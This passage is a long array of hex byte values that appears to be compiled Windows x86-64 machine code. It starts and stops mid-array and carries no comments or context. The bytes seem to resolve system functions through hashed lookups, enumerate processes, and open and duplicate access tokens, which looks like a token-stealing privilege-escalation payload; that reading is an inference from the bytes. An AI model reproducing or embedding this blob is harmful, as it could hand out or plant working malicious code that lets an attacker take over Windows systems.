8,0x89,0xC1,0x48,0x8B,0x05,0x57,0xFE,0x00,0x00,0xFF,0xD0,0x48,0x89,0x85,0x90,0x00,0x00,0x00,0x48,0x83,0xBD,0x90,0x00,0x00,0x00,0x00,0x0F,0x84,0x92,0x03,0x00,0x00,0x8B,0x55,0x4C,0x48,0x8D,0x4D,0x4C,0x48,0x8B,0x85,0x90,0x00,0x00,0x00,0x49,0x89,0xC9,0x41,0x89,0xD0,0x48,0x89,0xC2,0xB9,0x05,0x00,0x00,0x00,0xE8,0x64,0x20,0x00,0x00,0x89,0x85,0x80,0x00,0x00,0x00,0x83,0xBD,0x80,0x00,0x00,0x00,0x00,0x79,0x78,0x48,0x83,0xBD,0x90,0x00,0x00,0x00,0x00,0x74,0x4C,0x8B,0x95,0x84,0x00,0x00,0x00,0x48,0x8B,0x85,0x90,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x69,0x6C,0x00,0x00,0x48,0x8B,0x05,0xDA,0xFD,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x95,0x90,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xCF,0xFD,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x85,0x90,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x81,0xBD,0x80,0x00,0x00,0x00,0x23,0x00,0x00,0xC0,0x0F,0x84,0x2A,0xFF,0xFF,0xFF,0x81,0xBD,0x80,0x00,0x00,0x00,0x04,0x00,0x00,0xC0,0x0F,0x84,0x1A,0xFF,0xFF,0xFF,0xEB,0x01,0x90,0x83,0xBD,0x80,0x00,0x00,0x00,0x00,0x0F,0x88,0xDF,0x02,0x00,0x00,0x48,0x8B,0x85,0x90,0x00,0x00,0x00,0x48,0x89,0x85,0x88,0x00,0x00,0x00,0xC7,0x45,0xF0,0x30,0x00,0x00,0x00,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xC7,0x45,0x08,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x10,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x18,0x00,0x00,0x00,0x00,0xC7,0x45,0xC0,0x30,0x00,0x00,0x00,0x48,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xB4,0x0C,0x00,0x00,0x00,0xC7,0x45,0xB8,0x02,0x00,0x00,0x00,0xC6,0x45,0xBC,0x00,0xC6,0x45,0xBD,0x00,0x48,0x8D,0x45,0xB4,0x48,0x89,0x45,0xE8,0x48,0x8B,0x85,0x88,0x00,0x00,0x00,0x48,0x8B,0x40,0x50,0x48,0x89,0x45,0x20,0x48,0x8D,0x4D,0x20,0x48,0x8D,0x55,0xF0,0x48,0x8D,0x45,0x60,0x49,0x89,0xC9,0x49,0x89,0xD0,0xBA,0x00,0x04,0x00,0x00,0x48,0x89,0xC1,0xE8,0x9F,0x1A,0x00,0x00,0x89,0x85,0x80,0x00,0x00,0x00,0x83,0xBD,0x80,0x00,0x00,0x00,0x00,0x0F,0x88,0xDD,0x01,0x00,0x00,0x48,0x8B,0x45,0x60,0x48,0x8D,0x55,0x58,0x49,0x89,0xD0,0xBA,0x0A,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xD6,0x1B,0x00,0x00,0x89,0x85,0x80,0x00,0x00,0x00,0x83,0xBD,0x80,0x00,0x00,0x00,0x00,0x0F,0x88,0x9E,0x01,0x00,0x00,0x48,0x8B,0x45,0x58,0x48,0x8D,0x4D,0xC0,0x48,0x8D,0x55,0x50,0x48,0x89,0x54,0x24,0x28,0xC7,0x44,0x24,0x20,0x02,0x00,0x00,0x00,0x41,0xB9,0x00,0x00,0x00,0x00,0x49,0x89,0xC8,0xBA,0x00,0x00,0x00,0x02,0x48,0x89,0xC1,0xE8,0x67,0x21,0x00,0x00,0x89,0x85,0x80,0x00,0x00,0x00,0x83,0xBD,0x80,0x00,0x00,0x00,0x00,0x0F,0x88,0x48,0x01,0x00,0x00,0x48,0x8B,0x45,0x50,0x48,0x8D,0x55,0x40,0x48,0x89,0xC1,0xE8,0x75,0x05,0x00,0x00,0x89,0x45,0x74,0x83,0x7D,0x74,0x00,0x0F,0x84,0x0E,0x01,0x00,0x00,0x48,0x8B,0x45,0x50,0x48,0x8D,0x55,0x38,0x48,0x89,0xC1,0xE8,0x4A,0x0B,0x00,0x00,0x89,0x45,0x74,0x83,0x7D,0x74,0x00,0x0F,0x84,0xD9,0x00,0x00,0x00,0x48,0x8B,0x55,0x68,0x48,0x8B,0x45,0x40,0x48,0x89,0xC1,0xE8,0xD8,0x08,0x00,0x00,0x89,0x45,0x74,0x83,0x7D,0x74,0x00,0x74,0x6A,0xC7,0x45,0xB0,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x50,0x48,0x8D,0x55,0xB0,0x48,0x89,0xC1,0xE8,0xAA,0x09,0x00,0x00,0x89,0x45,0x74,0x83,0x7D,0x74,0x00,0x74,0x4A,0x8B,0x45,0xB0,0x85,0xC0,0x74,0x43,0x48,0x8B,0x45,0x50,0x8B,0x8D,0xD0,0x00,0x00,0x00,0x48,0x8B,0x95,0xC8,0x00,0x00,0x00,0x41,0xB9,0x01,0x00,0x00,0x00,0x41,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xD4,0x2C,0x00,0x00,0x89,0x45,0x74,0x83,0x7D,0x74,0x00,0x74,0x18,0x48,0x8B,0x55,0x50,0x48,0x8B,0x85,0xD8,0x00,0x00,0x00,0x48,0x89,0x10,0xC7,0x85,0x9C,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x48,0x8B,0x45,0x38,0x48,0x85,0xC0,0x74,0x4D,0x48,0x8B,0x45,0x38,0x48,0x89,0xC1,0xE8,0x5A,0x6A,0x00,0x00,0x48,0x8D,0x14,0x00,0x48,0x8B,0x45,0x38,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xEA,0x69,0x00,0x00,0x48,0x8B,0x5D,0x38,0x48,0x8B,0x05,0x57,0xFB,0x00,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x53,0xFB,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x45,0x38,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x40,0x48,0x89,0xC1,0x48,0x8B,0x05,0x5B,0xFB,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x45,0x40,0x00,0x00,0x00,0x00,0x83,0xBD,0x9C,0x00,0x00,0x00,0x00,0x75,0x14,0x48,0x8B,0x45,0x50,0x48,0x89,0xC1,0xE8,0xEA,0x19,0x00,0x00,0x48,0xC7,0x45,0x50,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x58,0x48,0x89,0xC1,0xE8,0xD6,0x19,0x00,0x00,0x48,0xC7,0x45,0x58,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x60,0x48,0x89,0xC1,0xE8,0xC2,0x19,0x00,0x00,0x48,0xC7,0x45,0x60,0x00,0x00,0x00,0x00,0x83,0xBD,0x9C,0x00,0x00,0x00,0x00,0x75,0x24,0x48,0x8B,0x85,0x88,0x00,0x00,0x00,0x8B,0x00,0x85,0xC0,0x74,0x1A,0x48,0x8B,0x85,0x88,0x00,0x00,0x00,0x8B,0x00,0x89,0xC0,0x48,0x01,0x85,0x88,0x00,0x00,0x00,0xE9,0xB5,0xFD,0xFF,0xFF,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x45,0x68,0x48,0x85,0xC0,0x74,0x10,0x48,0x8B,0x45,0x68,0x48,0x89,0xC1,0x48,0x8B,0x05,0xBB,0xFA,0x00,0x00,0xFF,0xD0,0x48,0x83,0xBD,0x90,0x00,0x00,0x00,0x00,0x74,0x55,0x48,0x83,0xBD,0x90,0x00,0x00,0x00,0x00,0x74,0x4B,0x8B,0x45,0x4C,0x89,0xC2,0x48,0x8B,0x85,0x90,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xE1,0x68,0x00,0x00,0x48,0x8B,0x05,0x52,0xFA,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x95,0x90,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x47,0xFA,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x85,0x90,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x8B,0x85,0x9C,0x00,0x00,0x00,0x48,0x81,0xC4,0x28,0x01,0x00,0x00,0x5B,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0xD5,0x8B,0x00,0x00,0x48,0x89,0xC1,0xE8,0x9C,0xDD,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x22,0x96,0xBC,0x93,0x48,0x89,0xC1,0xE8,0xAA,0xDB,0xFF,0xFF,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x0C,0x48,0x8B,0x45,0xF0,0xFF,0xD0,0x89,0x45,0xFC,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x81,0xEC,0xE0,0x00,0x00,0x00,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x01,0x00,0x00,0xC0,0x48,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xA0,0x0F,0x11,0x45,0xB0,0x0F,0x11,0x45,0xC0,0x48,0xC7,0x45,0x94,0x00,0x00,0x00,0x00,0xC7,0x45,0x9C,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x85,0x60,0xFF,0xFF,0xFF,0x0F,0x11,0x85,0x70,0xFF,0xFF,0xFF,0x0F,0x11,0x45,0x80,0x48,0x8B,0x45,0x18,0x48,0xC7,0x00,0x00,0x00,0x00,0x00,0xC7,0x45,0xA0,0x30,0x00,0x00,0x00,0x48,0xC7,0x45,0xA8,0x00,0x00,0x00,0x00,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xB0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x85,0x60,0xFF,0xFF,0xFF,0x30,0x00,0x00,0x00,0x48,0xC7,0x85,0x68,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0x78,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x70,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x80,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x88,0x00,0x00,0x00,0x00,0xC7,0x45,0x94,0x0C,0x00,0x00,0x00,0xC7,0x45,0x98,0x02,0x00,0x00,0x00,0xC6,0x45,0x9C,0x00,0xC6,0x45,0x9D,0x00,0x48,0x8D,0x45,0x94,0x48,0x89,0x45,0x88,0x8B,0x45,0x10,0x48,0x89,0x45,0xD0,0x48,0x8D,0x05,0x24,0x8A,0x00,0x00,0x48,0x89,0x85,0x50,0xFF,0xFF,0xFF,0x48,0x8D,0x05,0x3E,0x8A,0x00,0x00,0x48,0x89,0x85,0x58,0xFF,0xFF,0xFF,0x48,0x8D,0x85,0x50,0xFF,0xFF,0xFF,0x41,0xB9,0x01,0x00,0x00,0x00,0x41,0xB8,0x02,0x00,0x00,0x00,0x48,0x89,0xC2,0xB9,0x00,0x00,0x00,0x00,0xE8,0x8B,0x29,0x00,0x00,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x0F,0x84,0xAA,0x00,0x00,0x00,0x48,0x8D,0x4D,0xD0,0x48,0x8D,0x55,0xA0,0x48,0x8D,0x45,0xF0,0x49,0x89,0xC9,0x49,0x89,0xD0,0xBA,0x00,0x04,0x00,0x00,0x48,0x89,0xC1,0xE8,0x0E,0x16,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x0F,0x88,0x81,0x00,0x00,0x00,0x48,0x8B,0x45,0xF0,0x48,0x8D,0x55,0xE8,0x49,0x89,0xD0,0xBA,0x0A,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x4B,0x17,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x78,0x63,0x48,0x8B,0x45,0xE8,0x48,0x8D,0x8D,0x60,0xFF,0xFF,0xFF,0x48,0x8D,0x55,0xE0,0x48,0x89,0x54,0x24,0x28,0xC7,0x44,0x24,0x20,0x02,0x00,0x00,0x00,0x41,0xB9,0x00,0x00,0x00,0x00,0x49,0x89,0xC8,0xBA,0x00,0x00,0x00,0x02,0x48,0x89,0xC1,0xE8,0xE3,0x1C,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x78,0x2B,0x48,0x8B,0x45,0xE0,0x48,0x89,0xC1,0xE8,0xDD,0xF7,0xFF,0xFF,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x74,0x19,0x48,0x8B,0x55,0xE0,0x48,0x8B,0x45,0x18,0x48,0x89,0x10,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x45,0xF0,0x48,0x85,0xC0,0x74,0x0C,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0x6C,0x16,0x00,0x00,0x48,0x8B,0x45,0xE8,0x48,0x85,0xC0,0x74,0x0C,0x48,0x8B,0x45,0xE8,0x48,0x89,0xC1,0xE8,0x57,0x16,0x00,0x00,0x83,0x7D,0xFC,0x00,0x75,0x15,0x48,0x8B,0x45,0xE0,0x48,0x85,0xC0,0x74,0x0C,0x48,0x8B,0x45,0xE0,0x48,0x89,0xC1,0xE8,0x3C,0x16,0x00,0x00,0x8B,0x45,0xFC,0x48,0x81,0xC4,0xE0,0x00,0x00,0x00,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x48,0x89,0x4D,0x10,0x48,0x8D,0x05,0xC7,0x88,0x00,0x00,0x48,0x89,0x45,0xE0,0x48,0x8D,0x05,0x2C,0x89,0x00,0x00,0x48,0x89,0x45,0xE8,0x48,0x8D,0x55,0xE0,0x48,0x8B,0x45,0x10,0x41,0xB9,0x02,0x00,0x00,0x00,0x49,0x89,0xD0,0x48,0x89,0xC2,0x48,0x8D,0x05,0x49,0x89,0x00,0x00,0x48,0x89,0xC1,0xE8,0x35,0xF6,0xFF,0xFF,0x89,0x45,0xFC,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x48,0x8B,0x45,0x10,0x41,0xB9,0x00,0x00,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0x48,0x89,0xC2,0x48,0x8D,0x05,0x21,0x89,0x00,0x00,0x48,0x89,0xC1,0xE8,0xFB,0xF5,0xFF,0xFF,0x89,0x45,0xFC,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x68,0x48,0x8D,0x6C,0x24,0x60,0x48,0x89,0x4D,0x20,0x48,0x89,0x55,0x28,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xD8,0x08,0x00,0x00,0x00,0x8B,0x45,0xD8,0x89,0x45,0xEC,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x01,0x00,0x00,0xC0,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x63,0x88,0x00,0x00,0x48,0x89,0xC1,0xE8,0x2A,0xDA,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x7F,0xE4,0xDE,0xE9,0x48,0x89,0xC1,0xE8,0x38,0xD8,0xFF,0xFF,0x48,0x89,0x45,0xE0,0x48,0x83,0x7D,0xE0,0x00,0x0F,0x84,0x1D,0x01,0x00,0x00,0x8B,0x45,0xD8,0x89,0x45,0xEC,0x8B,0x45,0xD8,0x89,0xC3,0x48,0x8B,0x05,0x49,0xF6,0x00,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x3D,0xF6,0x00,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x0F,0x84,0xE9,0x00,0x00,0x00,0x44,0x8B,0x45,0xD8,0x48,0x8B,0x4D,0xF0,0x48,0x8B,0x45,0x20,0x48,0x8D,0x55,0xD8,0x48,0x89,0x54,0x24,0x20,0x45,0x89,0xC1,0x49,0x89,0xC8,0xBA,0x01,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xAD,0x1A,0x00,0x00,0x89,0x45,0xE8,0x83,0x7D,0xE8,0x00,0x79,0x56,0x48,0x83,0x7D,0xF0,0x00,0x74,0x40,0x8B,0x55,0xEC,0x48,0x8B,0x45,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x5D,0x64,0x00,0x00,0x48,0x8B,0x05,0xCE,0xF5,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xC6,0xF5,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x81,0x7D,0xE8,0x23,0x00,0x00,0xC0,0x0F,0x84,0x44,0xFF,0xFF,0xFF,0xEB,0x01,0x90,0x83,0x7D,0xE8,0x00,0x78,0x5E,0xBA,0x44,0x00,0x00,0x00,0xB9,0x40,0x00,0x00,0x00,0x48,0x8B,0x05,0xAD,0xF5,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0x28,0x48,0x89,0x02,0x48,0x8B,0x45,0x28,0x48,0x8B,0x00,0x48,0x85,0xC0,0x74,0x3B,0x48,0x8B,0x45,0xF0,0x48,0x8B,0x10,0x48,0x8B,0x45,0x28,0x48,0x8B,0x00,0x4C,0x8B,0x4D,0xE0,0x49,0x89,0xD0,0x48,0x89,0xC2,0xB9,0x44,0x00,0x00,0x00,0x41,0xFF,0xD1,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x74,0x15,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x83,0x7D,0xF0,0x00,0x74,0x49,0x48,0x83,0x7D,0xF0,0x00,0x74,0x42,0x8B,0x45,0xD8,0x89,0xC2,0x48,0x8B,0x45,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x92,0x63,0x00,0x00,0x48,0x8B,0x05,0x03,0xF5,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xFB,0xF4,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x83,0x7D,0xFC,0x00,0x75,0x2A,0x48,0x8B,0x45,0x28,0x48,0x8B,0x00,0x48,0x85,0xC0,0x74,0x1E,0x48,0x8B,0x45,0x28,0x48,0x8B,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xEE,0xF4,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x45,0x28,0x48,0xC7,0x00,0x00,0x00,0x00,0x00,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x68,0x5B,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x61,0x86,0x00,0x00,0x48,0x89,0xC1,0xE8,0x28,0xD8,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x4F,0xB3,0x89,0x2E,0x48,0x89,0xC1,0xE8,0x36,0xD6,0xFF,0xFF,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x5F,0x48,0x8D,0x55,0xE8,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0x7F,0xFD,0xFF,0xFF,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x3F,0x48,0x8B,0x45,0xE8,0x48,0x8B,0x55,0x18,0x4C,0x8B,0x45,0xF8,0x48,0x89,0xC1,0x41,0xFF,0xD0,0x89,0x45,0xF4,0x48,0x8B,0x45,0xE8,0x48,0x89,0xC1,0x48,0x8B,0x05,0x43,0xF4,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x83,0x7D,0xF4,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x48,0x89,0x4D,0x10,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xFC,0x01,0x00,0x00,0xC0,0x48,0x8D,0x45,0xF0,0x49,0x89,0xC0,0xBA,0x08,0x00,0x00,0x00,0x48,0xC7,0xC1,0xFF,0xFF,0xFF,0xFF,0xE8,0xEB,0x12,0x00,0x00,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x76,0x48,0x8B,0x45,0xF0,0x48,0x8D,0x55,0xE8,0x48,0x89,0xC1,0xE8,0xEF,0xFE,0xFF,0xFF,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0x65,0x12,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x83,0x7D,0xF8,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x42,0x48,0x8B,0x45,0xE8,0x48,0x8D,0x15,0x9B,0x85,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xED,0xF3,0x00,0x00,0xFF,0xD0,0x85,0xC0,0x0F,0x94,0xC0,0x0F,0xB6,0xD0,0x48,0x8B,0x45,0x10,0x89,0x10,0x48,0x8B,0x45,0xE8,0x48,0x89,0xC1,0x48,0x8B,0x05,0x6F,0xF3,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x50,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0xD5,0x84,0x00,0x00,0x48,0x89,0xC1,0xE8,0x9C,0xD6,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x4F,0xB3,0x89,0x2E,0x48,0x89,0xC1,0xE8,0xAA,0xD4,0xFF,0xFF,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x74,0x57,0x48,0x8D,0x55,0xE0,0x48,0x8B,0x45,0x10,0x4C,0x8B,0x45,0xF0,0x48,0x89,0xC1,0x41,0xFF,0xD0,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x74,0x3F,0x48,0x8D,0x55,0xD8,0x48,0x8B,0x45,0x18,0x4C,0x8B,0x45,0xF0,0x48,0x89,0xC1,0x41,0xFF,0xD0,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x74,0x27,0x48,0x8B,0x55,0xD8,0x48,0x8B,0x45,0xE0,0x48,0x89,0xC1,0x48,0x8B,0x05,0x19,0xF3,0x00,0x00,0xFF,0xD0,0x85,0xC0,0x0F,0x94,0xC0,0x0F,0xB6,0xC0,0x89,0x45,0xFC,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x45,0xE0,0x48,0x85,0xC0,0x74,0x10,0x48,0x8B,0x45,0xE0,0x48,0x89,0xC1,0x48,0x8B,0x05,0x8C,0xF2,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x45,0xD8,0x48,0x85,0xC0,0x74,0x10,0x48,0x8B,0x45,0xD8,0x48,0x89,0xC1,0x48,0x8B,0x05,0x73,0xF2,0x00,0x00,0xFF,0xD0,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x50,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x58,0x48,0x8D,0x6C,0x24,0x50,0x48,0x89,0x4D,0x20,0x48,0x89,0x55,0x28,0xC7,0x45,0xEC,0x08,0x00,0x00,0x00,0x8B,0x45,0xEC,0x89,0x45,0xF4,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x8B,0x45,0xEC,0x89,0x45,0xF4,0x8B,0x45,0xEC,0x89,0xC3,0x48,0x8B,0x05,0xFE,0xF1,0x00,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xF2,0xF1,0x00,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xF7,0x00,0x00,0x00,0x44,0x8B,0x45,0xEC,0x48,0x8B,0x4D,0xF8,0x48,0x8B,0x45,0x20,0x48,0x8D,0x55,0xEC,0x48,0x89,0x54,0x24,0x20,0x45,0x89,0xC1,0x49,0x89,0xC8,0xBA,0x0B,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x5C,0x16,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x79,0x56,0x48,0x83,0x7D,0xF8,0x00,0x74,0x40,0x8B,0x55,0xF4,0x48,0x8B,0x45,0xF8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x0C,0x60,0x00,0x00,0x48,0x8B,0x05,0x7D,0xF1,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x75,0xF1,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x81,0x7D,0xF0,0x23,0x00,0x00,0xC0,0x0F,0x84,0x3E,0xFF,0xFF,0xFF,0xEB,0x01,0x90,0x83,0x7D,0xF0,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x62,0x48,0x8B,0x45,0xF8,0x8B,0x00,0x85,0xC0,0x0F,0x94,0xC0,0x0F,0xB6,0xD0,0x48,0x8B,0x45,0x28,0x89,0x10,0x48,0x83,0x7D,0xF8,0x00,0x74,0x42,0x8B,0x45,0xEC,0x89,0xC2,0x48,0x8B,0x45,0xF8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x92,0x5F,0x00,0x00,0x48,0x8B,0x05,0x03,0xF1,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xFB,0xF0,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xB8,0x01,